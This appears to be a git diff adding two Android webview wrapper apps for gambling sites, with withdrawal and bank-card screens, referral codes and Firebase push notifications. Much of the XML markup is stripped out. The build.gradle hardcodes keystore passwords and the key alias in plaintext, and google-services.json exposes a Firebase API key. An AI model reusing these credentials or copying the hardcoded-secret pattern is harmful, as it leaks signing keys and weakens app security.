b/kakislot/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/kakislot/src/main/res/drawable-mdpi/ic_action_back.png b/kakislot/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/kakislot/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/kakislot/src/main/res/drawable-v24/ic_launcher_foreground.xml b/kakislot/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/kakislot/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/drawable-xhdpi/ic_action_back.png b/kakislot/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/kakislot/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/kakislot/src/main/res/drawable-xxhdpi/ic_action_back.png b/kakislot/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/kakislot/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/kakislot/src/main/res/drawable/big_bg.xml b/kakislot/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..739515b --- /dev/null +++ b/kakislot/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/drawable/ic_launcher_background.xml b/kakislot/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/kakislot/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/kakislot/src/main/res/drawable/input_bg.xml b/kakislot/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/kakislot/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/kakislot/src/main/res/drawable/pass_word_bg.xml b/kakislot/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/kakislot/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/kakislot/src/main/res/drawable/pass_word_bg1.xml b/kakislot/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/kakislot/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/drawable/pass_word_bg2.xml b/kakislot/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/kakislot/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/drawable/shape_btn_bg.xml b/kakislot/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/kakislot/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/drawable/shape_dialog_bg2.xml b/kakislot/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/kakislot/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/drawable/shape_dialog_bg3.xml b/kakislot/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/kakislot/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/drawable/shape_dialog_bg_new.xml b/kakislot/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/kakislot/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/kakislot/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kakislot/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/kakislot/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kakislot/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/mipmap-hdpi/ic_empty.png b/kakislot/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/kakislot/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/kakislot/src/main/res/mipmap-hdpi/ic_pull_down.png b/kakislot/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/kakislot/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/kakislot/src/main/res/mipmap-xhdpi/ic_close.png b/kakislot/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/kakislot/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/kakislot/src/main/res/mipmap-xhdpi/ic_menu.png b/kakislot/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/kakislot/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/kakislot/src/main/res/mipmap-xxhdpi/app_logo.jpg b/kakislot/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..e905399 Binary files /dev/null and b/kakislot/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/kakislot/src/main/res/values-en/strings.xml b/kakislot/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/kakislot/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/kakislot/src/main/res/values-night/themes.xml b/kakislot/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/kakislot/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/values/colors.xml b/kakislot/src/main/res/values/colors.xml new file mode 100644 index 0000000..825973a --- /dev/null +++ b/kakislot/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #ffffff + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/kakislot/src/main/res/values/strings.xml b/kakislot/src/main/res/values/strings.xml new file mode 100644 index 0000000..65fb20c --- /dev/null +++ b/kakislot/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + KAKISLOT + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/values/themes.xml b/kakislot/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/kakislot/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/xml/app_updater_paths.xml b/kakislot/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/kakislot/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/xml/network_security_config.xml b/kakislot/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/kakislot/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kakislot/src/main/res/xml/provider_paths.xml b/kakislot/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/kakislot/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/kakislot/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/kakislot/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/kakislot/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/kampungjudi33/.gitignore b/kampungjudi33/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/kampungjudi33/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/kampungjudi33/build.gradle b/kampungjudi33/build.gradle new file mode 100644 index 0000000..b71804c --- /dev/null +++ b/kampungjudi33/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.kampungjudi33" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "kampungjudi33" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/kampungjudi33/dskjweb.jks b/kampungjudi33/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/kampungjudi33/dskjweb.jks differ diff --git a/kampungjudi33/google-services.json b/kampungjudi33/google-services.json new file mode 100644 index 0000000..ab2f0c5 --- /dev/null +++ b/kampungjudi33/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "425958350257", + "project_id": "kampunng-86c90", + "storage_bucket": "kampunng-86c90.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:425958350257:android:0c9487bf99b3feffb67190", + "android_client_info": { + "package_name": "com.web.kampungjudi33" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDLxYGZprsm0WFVPMvqBx6EsdOQKCl9t0Y" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/kampungjudi33/ppn.jks b/kampungjudi33/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/kampungjudi33/ppn.jks differ diff --git a/kampungjudi33/proguard-rules.pro b/kampungjudi33/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/kampungjudi33/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/kampungjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/kampungjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/kampungjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/kampungjudi33/src/main/AndroidManifest.xml b/kampungjudi33/src/main/AndroidManifest.xml new file mode 100644 index 0000000..e178cba --- /dev/null +++ b/kampungjudi33/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/java/com/web/kampungjudi33/MainActivity.java b/kampungjudi33/src/main/java/com/web/kampungjudi33/MainActivity.java new file mode 100644 index 0000000..27617ce --- /dev/null +++ b/kampungjudi33/src/main/java/com/web/kampungjudi33/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.kampungjudi33; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 197; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://kampungjudi33.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#2c401d"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#102114"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/kampungjudi33/src/main/java/com/web/kampungjudi33/MyFirebaseMessageingService.java b/kampungjudi33/src/main/java/com/web/kampungjudi33/MyFirebaseMessageingService.java new file mode 100644 index 0000000..1f3f09d --- /dev/null +++ b/kampungjudi33/src/main/java/com/web/kampungjudi33/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.kampungjudi33; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/kampungjudi33/src/main/java/com/web/kampungjudi33/WebApplication.java b/kampungjudi33/src/main/java/com/web/kampungjudi33/WebApplication.java new file mode 100644 index 0000000..fddeb07 --- /dev/null +++ b/kampungjudi33/src/main/java/com/web/kampungjudi33/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.kampungjudi33; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/kampungjudi33/src/main/res/drawable-anydpi/ic_action_back.xml b/kampungjudi33/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/kampungjudi33/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/kampungjudi33/src/main/res/drawable-hdpi/ic_action_back.png b/kampungjudi33/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/kampungjudi33/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/kampungjudi33/src/main/res/drawable-mdpi/ic_action_back.png b/kampungjudi33/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/kampungjudi33/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/kampungjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml b/kampungjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/kampungjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/drawable-xhdpi/ic_action_back.png b/kampungjudi33/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/kampungjudi33/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/kampungjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png b/kampungjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/kampungjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/kampungjudi33/src/main/res/drawable/big_bg.xml b/kampungjudi33/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..3d28280 --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/drawable/ic_launcher_background.xml b/kampungjudi33/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/kampungjudi33/src/main/res/drawable/input_bg.xml b/kampungjudi33/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/kampungjudi33/src/main/res/drawable/pass_word_bg.xml b/kampungjudi33/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/kampungjudi33/src/main/res/drawable/pass_word_bg1.xml b/kampungjudi33/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/drawable/pass_word_bg2.xml b/kampungjudi33/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/drawable/shape_btn_bg.xml b/kampungjudi33/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/drawable/shape_dialog_bg2.xml b/kampungjudi33/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/drawable/shape_dialog_bg3.xml b/kampungjudi33/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/drawable/shape_dialog_bg_new.xml b/kampungjudi33/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/kampungjudi33/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml 